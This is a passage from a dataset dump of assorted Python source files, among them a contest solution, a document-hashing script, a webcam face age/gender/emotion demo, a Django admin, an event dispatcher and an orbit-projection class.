\".jpg\", frame)\n height, width, _ = frame.shape\n h_ratio = height/480\n w_ratio = width/640\n\n # find the boxes and save the boxes\n boxes = tools.getBoxes(frame, bestOnly=False)\n bigBoxes = []\n for box in boxes:\n bigBoxes.append([int(w_ratio*box[0]),\n int(h_ratio*box[1]),\n int(w_ratio*box[2]),\n int(h_ratio*box[3])])\n boxPath = framePath + \"/boxes\"\n mkdir_p(boxPath)\n f = open(framePath + '/boxes_frame%s.txt' % idx, 'w')\n # extract the boxed images and save as the name as the box location\n for box in bigBoxes:\n f.write(\"%s\\n\" % box)\n boxedImg = frame[box[1]:box[3], box[0]:box[2]]\n cv2.imwrite(boxPath + \"/%s.jpg\" % box, boxedImg)\n f.close()\n","sub_path":"tests/test_getTestData.py","file_name":"test_getTestData.py","file_ext":"py","file_size_in_byte":2539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"386416234","text":"# -*- coding: utf-8 -*-\nimport sys\nimport math\n\n# Input format\n# В первой строке располагается одно число N (0 < N ≤ 100) - количество полос с разным покрытием.\n# В следующей строке располагается N чисел yi - координаты верхнего края i-ой полосы (0 < yi ≤ W), yn = W (W < 3000).\n# В следующей строке располагается N чисел vi - скорость движения машинке по i-му покрытию (0 < vi ≤ 100).\n# В последней строке располагается два числа Xn и Xk - координаты старта и финиша соответственно. (0 ≤ Xn, Xk ≤ 500)\n#\n# Output format\n# Выведите единственное число - минимальное время, за которое машинка может добраться из точки (Xn, 0) в точку (Xk, W).\n# Ответ выведите с точностью до 10-3.\n\n\nEPS = 1e-3\n\n\ndef distance(x, y):\n return math.sqrt(x**2 + y**2)\n\n\ndef ts(pos, n, xi, yi, vi, xb, xe):\n if pos == n - 1:\n return distance(yi[n - 1] - yi[n - 2], xe - xi[n - 2]) / vi[n - 1]\n\n l = xb if pos == 0 else xi[pos - 1]\n r = xe\n\n flag = True\n\n if l > r:\n l, r = r, l\n\n while r - l >= EPS or flag:\n m1 = l + (r - l) / 3.0\n m2 = r - (r - l) / 3.0\n\n xi[pos] = m1\n t1 = ts(pos + 1, n, xi, yi, vi, xb, xe) + (distance(yi[0], m1 - xb) if pos == 0 else distance(yi[pos] - yi[pos - 1], m1 - xi[pos - 1])) / vi[pos]\n\n xi[pos] = m2\n t2 = ts(pos + 1, n, xi, yi, vi, xb, xe) + (distance(yi[0], m2 - xb) if pos == 0 else distance(yi[pos] - yi[pos - 1], m2 - xi[pos - 1])) / vi[pos]\n\n if t1 < t2:\n r = m2\n else:\n l = m1\n\n flag = False\n\n return t1\n\n\ndef main(fo):\n n = long(fo.readline())\n xi = range(n)\n yi = [float(y) for y in fo.readline().strip().split(' ')]\n vi = [float(v) for v in fo.readline().strip().split(' ')]\n xb, xe = [float(x) for x in fo.readline().strip().split(' ')]\n\n #print yi, vi, xb, xe, xi\n\n return ts(0, n, xi, yi, vi, xb, xe)\n\nif __name__ == '__main__':\n fo = sys.stdin\n #fo = open('problem-e-input.txt', 'rU') #12.3538925\n\n sys.stdout.write('{:.7f}'.format(main(fo)))\n\n fo.close()\n\n","sub_path":"thumbtack-cup-2013/problem-e.py","file_name":"problem-e.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"588524698","text":"\"\"\"Common Crawl hashing - creating hashes for documents\n\nUsage:\n hash.py --file= --dir= --topwords= --wta=\n hash.py (-h | --help)\n hash.py --version\n\nOptions:\n -h --help Show this screen.\n --version Show version.\n --file= Name of file to process\n --dir= Directory containing projections\n --topwords= Percentage of document tokens to retain\n --wta= Percentage of KCs to retain\n\n\"\"\"\n\nimport os\nimport re\nimport random\nimport pickle\nimport numpy as np\nimport time\nfrom timer import Timer\nfrom docopt import docopt\nimport sentencepiece as spm\nfrom itertools import combinations\nfrom scipy.sparse import coo_matrix\nfrom collections import defaultdict, Counter\nfrom sklearn.feature_extraction.text import CountVectorizer\n\n# makes segmenter instance and loads the model file (m.model)\nsp = spm.SentencePieceProcessor()\nsp.load('spmcc.model')\n\ndef read_vocab():\n c = 0\n vocab = {}\n reverse_vocab = {}\n logprobs = []\n with open(\"spmcc.vocab\") as f:\n for l in f:\n l = l.rstrip('\\n')\n wp = l.split('\\t')[0]\n logprob = -(float(l.split('\\t')[1]))\n #logprob = log(lp + 1.1)\n if wp in vocab or wp == '':\n continue\n vocab[wp] = c\n reverse_vocab[c] = wp\n logprobs.append(logprob**3)\n c+=1\n return vocab, reverse_vocab, logprobs\n\n\ndef read_projections(d):\n c = 0\n projections = {}\n pn_to_kc = {}\n with open(os.path.join(d,\"spmcc.projs\")) as f:\n for l in f:\n l=l.rstrip('\\n')\n p = np.array([int(n) for n in l.split()])\n projections[c]=p\n for pn in p:\n if pn in pn_to_kc:\n pn_to_kc[pn].append(c)\n else:\n pn_to_kc[pn] = [c]\n c+=1\n return projections, pn_to_kc\n\n\ndef show_projections(hashed_kenyon,reverse_vocab):\n important_words = {}\n for i in range(len(hashed_kenyon)):\n if hashed_kenyon[i] == 1:\n activated_pns = projection_functions[i]\n print([reverse_vocab[pn] for pn in activated_pns])\n for pn in activated_pns:\n w = reverse_vocab[pn]\n if w in important_words:\n important_words[w]+=1\n else:\n important_words[w]=1\n print(\"BEST PNS\", sorted(important_words, key=important_words.get, reverse=True)[:proj_size])\n\n\ndef projection(projection_layer):\n kenyon_layer = np.zeros(KC_size)\n nzs = np.where(projection_layer > 0)\n kcs = []\n #print(nzs[0])\n for pn in nzs[0]:\n if pn in pn_to_kc:\n kcs.extend(pn_to_kc[pn])\n #else:\n # print(\"WARNING: \",pn,\"not in use\")\n kcs = list(set(kcs))\n for cell in kcs:\n activated_pns = projection_functions[cell]\n for pn in activated_pns:\n kenyon_layer[cell]+=projection_layer[pn]\n return kenyon_layer\n\ndef wta(layer,percent):\n activations = np.zeros(len(layer))\n top = int(percent * len(layer) / 100)\n activated_cs = np.argpartition(layer, -top)[-top:]\n for cell in activated_cs:\n activations[cell] = layer[cell]\n return activations\n\ndef hash_input(vec,reverse_vocab,percent_hash):\n kenyon_layer = projection(vec)\n hashed_kenyon = wta(kenyon_layer,percent_hash)\n #show_projections(hashed_kenyon,reverse_vocab)\n return hashed_kenyon\n \ndef return_keywords(vec):\n keywords = []\n vs = np.argsort(vec)\n for i in vs[-10:]:\n keywords.append(i)\n return keywords\n\n\nif __name__ == '__main__':\n args = docopt(__doc__, version='Common Crawl Hashing 0.1')\n d = args[\"--dir\"]\n top_tokens = int(args[\"--topwords\"])\n percent_hash = int(args[\"--wta\"])\n\n t = Timer()\n vocab, reverse_vocab, logprobs = read_vocab()\n projection_functions, pn_to_kc = read_projections(d)\n vectorizer = CountVectorizer(vocabulary=vocab, lowercase=False, token_pattern='[^ ]+')\n\n # Setting up the fly\n PN_size = len(vocab)\n KC_size = len(projection_functions)\n proj_size = len(projection_functions[0])\n print(\"SIZES PN LAYER:\",PN_size,\"KC LAYER:\",KC_size)\n print(\"SIZE OF PROJECTIONS:\",proj_size)\n print(\"SIZE OF FINAL HASH:\",percent_hash,\"%\")\n\n projection_layer = np.zeros(PN_size)\n kenyon_layer = np.zeros(KC_size)\n\n #Reading through documents\n n_doc = 0\n doc = \"\"\n\n M_data = []\n M_col = []\n M_row = []\n IDs = []\n classes = {}\n keywords = {}\n\n in_file_path = args[\"--file\"]\n in_file = in_file_path.replace(\"datasets/20news-bydate/\",\"\")\n params = \".top\"+str(top_tokens)+\".wta\"+str(percent_hash)\n\n hs_file = os.path.join(d,in_file.replace('.sp',params+'.hs'))\n ID_file = os.path.join(d,in_file.replace('.sp',params+'.ids'))\n class_file = os.path.join(d,in_file.replace('.sp',params+'.cls'))\n keyword_file = os.path.join(d,in_file.replace('.sp',params+'.kwords'))\n\n\n with open(in_file_path,'r') as f:\n for l in f: \n l = l.rstrip('\\n')\n if l[:4] == \"\",l)\n cl=m.group(1)\n IDs.append(ID+'_'+cl)\n classes[IDs[-1]] = m.group(1)\n print(\"Processing\",IDs[-1])\n elif l[:5] == \" \"))\n break\n except ValueError:\n print(\"Devi inserire un numero!\")\n\nwith open(\"sudokus.txt\", \"w\") as f:\n f.close()\n\nfor i in gensud.requestsudoku(qty):\n with open(\"sudokus.txt\", \"a\") as f:\n f.write(\"Sudoku:\\n\\n\")\n for x in i:\n f.write(str(x) + \"\\n\")\n f.write(\"\\n=======================\\n\\n\")\n f.close()\n\nprint(\"Fatto. Guarda il file: sudokus.txt\")","sub_path":"best/sudoku_generator/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"338486839","text":"from nltk.tokenize import sent_tokenize\n\n\ndef lines(a, b):\n # split a into lines\n a_split = a.split('\\n')\n\n # split b into lines\n b_split = b.split('\\n')\n\n # find intersection between set a and b\n result = set(a_split).intersection(b_split)\n\n # convert result back into list as haha\n haha = list(result)\n return haha\n\n\ndef sentences(a, b):\n # split each string into sentences\n a_split = sent_tokenize(a)\n\n # split each string into sentences\n b_split = sent_tokenize(b)\n\n # find intersection between set a and b\n result = set(a_split).intersection(b_split)\n\n # convert result back into list as haha\n haha = list(result)\n return haha\n\n\ndef substrings(a, b, n):\n # create empty list to store substrings of a and b\n a_split = []\n b_split = []\n\n # split strings (a and b) into substring list\n for j in range(len(a) - (n - 1)):\n a_split.append(a[0 + j:n + j])\n\n for j in range(len(b) - (n - 1)):\n b_split.append(b[0 + j:n + j])\n\n # find intersection between set a and b\n result = set(a_split).intersection(b_split)\n\n # convert result back into list as haha\n haha = list(result)\n return haha\n","sub_path":"pset6/similarities/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"192619754","text":"#!/usr/bin/python3\nif __name__ == '__main__':\n from sys import argv\n if len(argv) not in [1, 2]:\n print((str(len(argv) - 1)) + \" arguments:\")\n elif len(argv) == 1:\n print(\"0 arguments.\")\n else:\n print(\"1 argument:\")\n for i in range(1, len(argv)):\n print(str(i) + \": {}\".format(argv[i]))\n","sub_path":"0x02-python-import_modules/2-args.py","file_name":"2-args.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"94632756","text":"# -*- coding: utf-8 -*-\nfrom django.contrib import admin\nfrom django import forms\n\nfrom opps.core.models import Post, PostImage, PostSource\n\nfrom redactor.widgets import RedactorEditor\n\n\n\nclass PostImageInline(admin.TabularInline):\n model = PostImage\n fk_name = 'post'\n raw_id_fields = ['image']\n actions = None\n extra = 1\n fieldsets = [(None, {'fields': ('image', 'order')})]\n\n\nclass PostSourceInline(admin.TabularInline):\n model = PostSource\n fk_name = 'post'\n raw_id_fields = ['source']\n actions = None\n extra = 1\n fieldsets = [(None, {\n 'classes': ('collapse',),\n 'fields': ('source', 'order')})]\n\n\nclass PostAdminForm(forms.ModelForm):\n class Meta:\n model = Post\n widgets = {'content': RedactorEditor()}\n\n\nclass PostAdmin(admin.ModelAdmin):\n form = PostAdminForm\n prepopulated_fields = {\"slug\": (\"title\",)}\n inlines = [PostImageInline, PostSourceInline]\n\n fieldsets = (\n (None, {'fields': ('title', 'short_title', 'headline', 'channel',\n 'content',)}),\n (None, {'fields': ('main_image', 'slug',)})\n )\n\n def save_model(self, request, obj, form, change):\n if not obj.user:\n obj.user = request.user\n obj.save()\nadmin.site.register(Post, PostAdmin)\n","sub_path":"opps/core/admin/article.py","file_name":"article.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"261158345","text":"#!/usr/bin/env python\n\n\nimport pygame\n\nclass EventDispatcher(object):\n \"\"\"\n A event dispatcher.\n \"\"\"\n \n def __init__(self):\n object.__init__(self)\n self._eventdispatch = {} # {eventtype:[listeners]}, \n # handle_event(event)->bool\n self.parent = None\n \n def get_eventtypes(self): # ->[eventtypes]\n \"\"\"\n Returns the eventtypes this eventdispatcher need to listen.\n \"\"\"\n return self._eventdispatch.keys()\n \n def handle_event(self, event):\n \"\"\"\n Dispatches the event to all listeners.\n Returns True if the event has been processed else False.\n \"\"\"\n evttype = event.type\n if evttype == pygame.USEREVENT:\n evttype = event.usertype\n resp = False\n if self._eventdispatch.has_key(evttype):\n resp = self.on_event(event)\n if not resp:\n for listener in self._eventdispatch[evttype]:\n if listener.handle_event(event):\n resp = True\n self.on_afterevent(event)\n return resp\n \n def on_event(self, event):\n \"\"\"\n Is called befor the events are dispatched. You can override it. If\n you return True then the events are not dispatched to the listeners.\n \"\"\"\n return False\n \n def on_afterevent(self, event):\n \"\"\"\n This is called after the event has been dispatched to all listeners.\n \"\"\"\n return False\n \n \n def add_listener(self, listener, eventtype=None, prio=None):\n \"\"\"\n Adds the listener to the dispatch list for the given eventtypes.\n \n listener : reference to the object that listens for events\n eventtype: type of events it want to receive, can be a list of\n eventtypes or a single eventtype or None (in that case\n the listener's get_eventtypes() is called to get them).\n prio : bool, if True then the listener will be inserted at first\n position in the list\n \"\"\"\n # remove old parent from listener\n if listener.parent and listener.parent != self:\n listener.parent.remove_listener(listener)\n listener.parent = self\n # check if it is a lits of eventtypes or not\n if eventtype:\n if not type(eventtype) == list or not type(eventtype) == tuple:\n eventtype = [eventtype]\n else:\n eventtype = listener.get_eventtypes()\n # add the different eventtypes\n for evttype in eventtype:\n # check if evnttype already exists, if not add empty list\n if not self._eventdispatch.has_key(evttype):\n self._eventdispatch[evttype] = []\n # register new eventtype at parent?\n if self.parent:\n self.parent.add_listener(self, evttype, prio)\n # check if the listener is already listening for that eventtype, \n # if not register the listener\n if listener not in self._eventdispatch[evttype]:\n if prio: # prio\n self._eventdispatch[evttype].insert(0, listener)\n else:\n self._eventdispatch[evttype].append(listener)\n \n def remove_listener(self, listener, eventtype=None):\n \"\"\"\n removes a listener from the dispatch list.\n \n listener : listener to remove\n eventtype : eventype the listener wants to unregister\n if it is None, the listener will not receive any event\n \"\"\"\n## print \"removing listener:\", listener, eventtype\n # if eventtype is None then remove it from all types\n if eventtype is None:\n for evttype, listeners in self._eventdispatch.items():\n if listener in listeners:\n listeners.remove(listener)\n # if no listener is left for this eventtype, remove it\n if len(listeners) == 0:\n del self._eventdispatch[evttype]\n # remove eventtype from parent\n if self.parent:\n self.parent.remove_listener(self, evttype)\n else:\n # check if eventtype is a list or not\n if not type(eventtype) == list or not type(eventtype) == tuple:\n eventtype = [eventtype]\n \n for evttype in eventtype:\n listeners = self._eventdispatch[evttype]\n if listener in listeners:\n listeners.remove(listener)\n # if no listener is left for this eventtype, remove it\n if len(listeners) == 0:\n del self._eventdispatch[evttype]\n # remove eventtype from parent\n if self.parent:\n self.parent.remove_listener(self, evttype)\n \n## for evttype in self._eventdispatch.keys():\n## evttype_listeners = self._eventdispatch[evttype]\n## if listener in evttype_listeners:\n## if evttype in eventtype:\n## evttype_listeners.remove(listener)\n## # if no listener is left for this eventtype, remove it\n## if len(evttype_listeners) == 0:\n## del self._eventdispatch[evttype]\n## # remove eventtype from parent\n## if self.parent:\n## self.parent.remove_listener(self, evttype)\n \n## for eventtype in self._eventdispatch.keys():\n## for liste in self._eventdispatch[eventtype]:\n## if liste == listener:\n## print \">>>>>>>>>>>>>>> still in dispatcher!!!!\"\n\n def remove_all_listeners(self):\n \"\"\"\n \n \"\"\"\n old = self._eventdispatch\n self._eventdispatch = {}\n return old\n\n def set_all_listeners(self, new):\n \"\"\"\n \n \"\"\"\n old = self._eventdispatch\n self._eventdispatch = new\n return old\n","sub_path":"CS481 - Advanced Artificial Intelligence/honours/DiceWars/source/events/eventdispatcher.py","file_name":"eventdispatcher.py","file_ext":"py","file_size_in_byte":6280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"112604614","text":"#-*- coding: utf-8 -*-\n\nimport cv2\nimport numpy as np\nimport recognize_age\nimport recognize_gender\nimport recognize_emotion\nimport tts_module\n\nfaceCascade = cv2.CascadeClassifier(\"face_profile/haarcascade_frontalface_alt_tree.xml\")\n\nvideo_capture = cv2.VideoCapture(0)\nttsModule = tts_module.tts_module()\n\ndef get_margin(x,y,w,h):\n h_margin = h // 8\n w_margin = w // 8\n if y + h >= height:\n h_margin = height - y - 1\n if x + w >= width:\n w_margin = width - x - 1\n if y - h_margin < 0:\n h_margin = y - 1\n if x - w_margin < 0:\n w_margin = x - 1\n return h_margin, w_margin\n\nage_rec = recognize_age.runner()\nged_rec = recognize_gender.runner()\nemotion_rec = recognize_emotion.runner()\ncnt = 0\n\nttsModule.start()\n\nwhile True:\n # Capture frame-by-frame\n ret, frame = video_capture.read()\n cnt += 1\n original_image = np.array(frame)\n\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n faces = faceCascade.detectMultiScale(\n gray,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30),\n flags=cv2.CASCADE_SCALE_IMAGE\n\n )\n\n\n # Draw a rectangle around the faces\n crop_image = []\n height , width = original_image.shape[:2]\n\n maxRegion = -9999\n maxx = -1\n maxy = -1\n maxw = -1\n maxh = -1\n\n for(x,y,w,h) in faces:\n area = w * h\n if(area > maxRegion):\n (maxx,maxy,maxw,maxh) = (x,y,w,h)\n maxRegion = area\n\n\n if(maxx<0):\n continue\n\n (x,y,w,h) = (maxx, maxy, maxw, maxh)\n\n # for (x,y,w,h) in faces:\n h_margin, w_margin = get_margin(x, y, w, h)\n crop = original_image[y-h_margin:y + h+h_margin,x-w_margin:x + w+w_margin]\n p = age_rec.recognize_age(crop)\n pg, pp = ged_rec.recognize_age(crop)\n emo = emotion_rec.recognize_emotion(crop)\n cv2.rectangle(frame, (x-w_margin, y-h_margin), (x+w+w_margin, y+h+h_margin), (0, 255, 0), 2)\n\n cv2.putText(frame, \"%.2f\" % p, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0,0,0))\n cv2.putText(frame, \"%.2f\" % p, (x - 1, y - 4), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255))\n\n age_integer = int(p)\n\n if pg == 1:\n ged = '남성'\n ged_en = 'male'\n else:\n ged = '여성'\n ged_en = 'female'\n\n\n\n cv2.putText(frame, \"%s\" % ged_en, (x, y - 19), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0))\n cv2.putText(frame, \"%s (%s)\" % (ged_en, pp), (x - 1, y - 18), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255))\n\n \n\n \n\n if emo == 0:\n emotion = 'Angry'\n elif emo == 1:\n emotion = 'Angry'\n elif emo == 3:\n emotion = 'Happy'\n elif emo == 4:\n emotion = 'Neutral'\n elif emo == 5:\n emotion = 'Sad'\n else :\n emotion=''\n \n \n \n cv2.putText(frame, \"%s\" % emotion, (x - 1, y - 25), cv2.FONT_HERSHEY_SIMPLEX, 0.9, (0, 0,255))\n\n ttsTxt = '성별은 ' + ged + '나이는 ' + str(age_integer) + '세'\n #ttsModule.inputTxt(ttsTxt, 'en')\n ttsModule.inputTxt(ttsTxt, 'ko')\n\n\n # Display the resulting frame\n cv2.imshow('ORIGINAL',original_image)\n cv2.imshow('Video', frame)\n #cv2.imwrite('output/' + str(cnt) + '.jpg', frame)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n ttsModule.finishModule()\n break\n\n# When everything is done, release the capture\nvideo_capture.release()\ncv2.destroyAllWindows()\n","sub_path":"AIM_API/backup/cam_ex.py","file_name":"cam_ex.py","file_ext":"py","file_size_in_byte":3347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"304934932","text":"import cgi\nimport os\nimport re\nimport datetime\nfrom django.utils import simplejson\n\nfrom google.appengine.api import users\nfrom google.appengine.api import memcache\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp.util import run_wsgi_app\nfrom google.appengine.ext import db\nfrom google.appengine.ext.webapp import template\n\nclass Message(db.Model):\n author = db.UserProperty()\n content = db.StringProperty(multiline=True)\n date = db.DateTimeProperty(auto_now_add=True)\n Alias = db.StringProperty()\n\n\nclass MessageView:\n def __init__(self, message):\n self.message = message\n if message.Alias:\n self.author = message.Alias\n else:\n self.author = \"A monkey\"\n\n now = datetime.datetime.now()\n timedelta = now - message.date\n self.ago_minutes = timedelta.seconds / 60\n self.content = message.content\n\n\nclass MainPage(webapp.RequestHandler):\n def get(self):\n messages_query = Message.all().order('-date')\n messages = messages_query.fetch(50)\n\n #if users.get_current_user():\n # url = users.create_logout_url(self.request.uri)\n # url_linktext = 'Logout'\n #else:\n # url = users.create_login_url(self.request.uri)\n # url_linktext = 'Login if you want'\n\n message_views = []\n for message in messages:\n message_views.append(MessageView(message))\n\n template_values = {\n 'messages': message_views,\n # 'url': url,\n # 'url_linktext': url_linktext,\n }\n\n path = os.path.join(os.path.dirname(__file__), 'index.html')\n self.response.out.write(template.render(path, template_values))\n\ndef GetFilter():\n words = memcache.get(\"rudish_words\")\n if words is not None:\n return words\n else:\n file = open(\"filter\",\"r\")\n words = file.readlines()\n file.close()\n memcache.add(\"rudish_words\",words,0)\n return words\n\ndef Filter(string):\n rudish_words = GetFilter()\n for word in rudish_words:\n pattern = re.compile(word,re.IGNORECASE | re.VERBOSE)\n string = re.sub(pattern,'Banana',string)\n return string\n\nclass Messages(webapp.RequestHandler):\n def post(self):\n message = Message()\n\n\n message.Alias = Filter(self.request.get('Alias'))\n\n content = Filter(self.request.get('content'))\n\n message.content = content\n message.put()\n self.redirect('/')\n\n def get(self):\n messages_query = Message.all().order('-date')\n messages = messages_query.fetch(50)\n\n message_views = []\n for message in messages:\n message_views.append(MessageView(message))\n\n template_values = {\n 'messages': message_views,\n }\n\n path = os.path.join(os.path.dirname(__file__), '_messages.html')\n self.response.out.write(template.render(path, template_values))\n \n\napplication = webapp.WSGIApplication(\n [('/', MainPage),\n ('/messages', Messages)],\n debug=True)\n\ndef main():\n run_wsgi_app(application)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"randomchatroom.py","file_name":"randomchatroom.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"430351407","text":"# -*- coding: utf-8 -*-\n#\n# Copyright 2015 Shea G. Craig\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"See docstring for OptionSelector class\"\"\"\n\nfrom __future__ import absolute_import\n\nfrom autopkglib import Processor, ProcessorError\n\n__all__ = [\"OptionSelector\"]\n\n\nclass OptionSelector(Processor):\n \"\"\"Selects an option from a dictionary to assign to a variable.\n\n In most cases, simply using an Input variable to allow overriding an\n argument for a processor is sufficient. This processor allows the\n recipe author to provide a dictionary of values to choose from for\n instances where that value may be more involved than the recipe-user\n should be responsible for. For example, selecting the correct regex\n to supply to a URLTextSearcher later in the recipe chain is not\n as trivial as specifying a Culture Code.\n \"\"\"\n\n input_variables = {\n \"result_output_var_name\": {\n \"description\": \"The name of the output variable that is returned. \"\n \"If not specified, a default of 'selection' will \"\n \"be used.\",\n \"required\": False,\n \"default\": \"selection\",\n },\n \"selection\": {\n \"description\": \"Key of option to select. The corresponding value \"\n \"will be returned as the result_output_var_name's \"\n \"value.\",\n \"required\": True,\n },\n \"options\": {\n \"description\": \"Dictionary of options. Keys are used as values \"\n \"for the selection argument. The value is returned \"\n \"as the output of this processor.\",\n \"required\": True,\n },\n }\n output_variables = {\n \"result_output_var_name\": {\n \"description\": \"The value of 'selection' in the 'options'. \"\n \"NOTE: The name of this variable is controlled \"\n \"by the 'result_output_var_name' variable \"\n \"(the default is 'selection')\",\n }\n }\n\n description = __doc__\n\n def main(self):\n \"\"\"Main process.\"\"\"\n output_name = self.env[\"result_output_var_name\"]\n selection = self.env[\"selection\"]\n options = self.env[\"options\"]\n if selection not in options:\n raise ProcessorError(\"Specified selection is not in the dictionary!\")\n\n result = options[selection]\n self.output_variables = {output_name: {\"description\": \"Selected option.\"}}\n self.env[output_name] = result\n self.output(\"Selection '{}': '{}'\".format(selection, result))\n\n\nif __name__ == \"__main__\":\n PROCESSOR = OptionSelector()\n PROCESSOR.execute_shell()\n","sub_path":"Eclipse/OptionSelector.py","file_name":"OptionSelector.py","file_ext":"py","file_size_in_byte":3109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"61977242","text":"# Помогите Васе понять, будет ли фраза палиндромом\n# Учитываются только буквы и цифры, заглавные и строчные буквы считаются одинаковыми.\n\n# Решение должно работать за O(N), где N — длина строки на входе.\n# A man, a plan, a canal: Panama\n# True\nimport re\n\n\ndef is_palindrome(text):\n # def prepare_text(text):\n # def is_suitable(char):\n # return char.isalnum() and char != ' '\n # return ''.join(char.lower() for char in text if is_suitable(char))\n\n text = re.sub(r'[^a-zA-Z\\d]', '', text).lower()\n\n text_length = len(text)\n middle = text_length // 2\n for i in range(middle):\n if text[i] != text[-i - 1]:\n return False\n return True\n\n\ndef read_input():\n return input()\n\n\nif __name__ == \"__main__\":\n text = read_input()\n result = is_palindrome(text)\n print(result)\n","sub_path":"YandexPracticum/contest/sprint11/palyndrom.py","file_name":"palyndrom.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"493407831","text":"import logging\nimport numpy as np\n\nfrom .utils import _checkTime\nfrom .vectors import calcNae\nfrom .vectors import calcDelta\nfrom .vectors import calcXae\nfrom .vectors import calcXa\nfrom .vectors import calcNhat\nfrom .vectors import calcR1\nfrom .vectors import calcR2\nfrom .projections import cartesianToGnomonic\nfrom .coordinates import transformCoordinates\n\nlogger = logging.getLogger(__name__)\n\n__all__ = [\"TestOrbit\"]\n\nclass TestOrbit:\n \"\"\"\n TestOrbit: Class that calculates and stores the rotation matrices \n for a guess of heliocentric distance and velocity. To be used in \n tandem with the Cell class.\n \n Parameters\n ----------\n elements : `~numpy.ndarray` (6)\n Cartesian ecliptic orbital elements with postions in units of AU\n and velocities in units of AU per day. \n t0 : `~astropy.time.core.Time` (1)\n Epoch at which orbital elements are defined.\n \"\"\"\n def __init__(self, elements, epoch):\n self.elements = elements\n self.epoch = epoch\n \n def prepare(self):\n \"\"\"\n Calculate rotation matrices. \n \n Populates the following class properties:\n n_hat : vector normal to the plane of orbit \n R1 : rotation matrix to rotate towards x-y plane\n R2 : rotation matrix to rotate towards x-axis\n M : final rotation matrix\n \n Returns\n -------\n None\n \"\"\"\n logger.debug(\"Calculating vector normal to plane of orbit...\")\n self.n_hat = calcNhat(self.elements[:3])\n \n logger.debug(\"Calculating R1 rotation matrix...\")\n self.R1 = calcR1(self.elements[:3], self.n_hat)\n self.x_a_xy = np.array(self.R1 @ self.elements[:3])[0]\n \n logger.debug(\"Calculating R2 rotation matrix...\")\n self.R2 = calcR2(self.x_a_xy)\n \n logger.debug(\"Calculating final rotation matrix...\")\n self.M = self.R2 @ self.R1\n \n return\n \n def applyToObservations(self, observations):\n \"\"\"\n Apply the prepared rotations to the given observations. Adds the gnomonic \n plane coordinates to observations (columns: theta_x_deg, theta_y_deg) \n \n Parameters\n ----------\n observations : `~pandas.DataFrame`\n DataFrame of observations defined at the same epoch as this test orbit, \n to project into the test orbit's frame.\n \n Returns\n -------\n None\n \"\"\"\n logger.debug(\"Applying rotation matrices to observations...\")\n logger.debug(\"Converting to ecliptic coordinates...\")\n\n #velocities_present = False\n #if \"vRAcosDec\" in observations.columns and \"vDec\" in observations.columns:\n # coords_eq_r = observations[[\"RA_deg\", \"Dec_deg\"]].values\n # coords_eq_v = observations[[\"vRAcosDec\", \"vDec\"]].values\n # coords_eq_v[:, 0] /= np.cos(np.radians(coords_eq_r[:, 1]))\n # coords_eq = np.hstack([\n # np.ones((len(coords_eq_r), 1)), \n # coords_eq_r, \n # np.zeros((len(coords_eq_r), 1)),\n # coords_eq_v\n # ]) \n # velocities_present = True\n\n #else:\n coords_eq = observations[[\"RA_deg\", \"Dec_deg\"]].values\n coords_eq = np.hstack([np.ones((len(coords_eq), 1)), coords_eq]) \n coords_ec = transformCoordinates(coords_eq, \n \"equatorial\", \n \"ecliptic\",\n representation_in=\"spherical\",\n representation_out=\"spherical\"\n )\n \n logger.debug(\"Calculating object to observer unit vector...\")\n n_ae = calcNae(coords_ec[:, 1:3])\n x_e = observations[[\"obs_x\", \"obs_y\", \"obs_z\"]].values\n \n logger.debug(\"Calculating object to observer distance assuming r = {} AU...\".format(np.linalg.norm(self.elements[:3])))\n delta = np.zeros(len(n_ae))\n for i in range(len(delta)):\n delta[i] = calcDelta(np.linalg.norm(self.elements[:3]), x_e[i, :], n_ae[i, :])\n \n logger.debug(\"Calculating object to observer position vector...\")\n x_ae = np.zeros([len(delta), 3])\n for i, (delta_i, n_ae_i) in enumerate(zip(delta, n_ae)):\n x_ae[i] = calcXae(delta_i, n_ae_i)\n \n logger.debug(\"Calculating heliocentric object position vector...\")\n x_a = np.zeros([len(x_ae), 3])\n for i, (x_ae_i, x_e_i) in enumerate(zip(x_ae, x_e)):\n x_a[i] = calcXa(x_ae_i, x_e_i)\n \n logger.debug(\"Applying rotation matrix M to heliocentric object position vector...\")\n 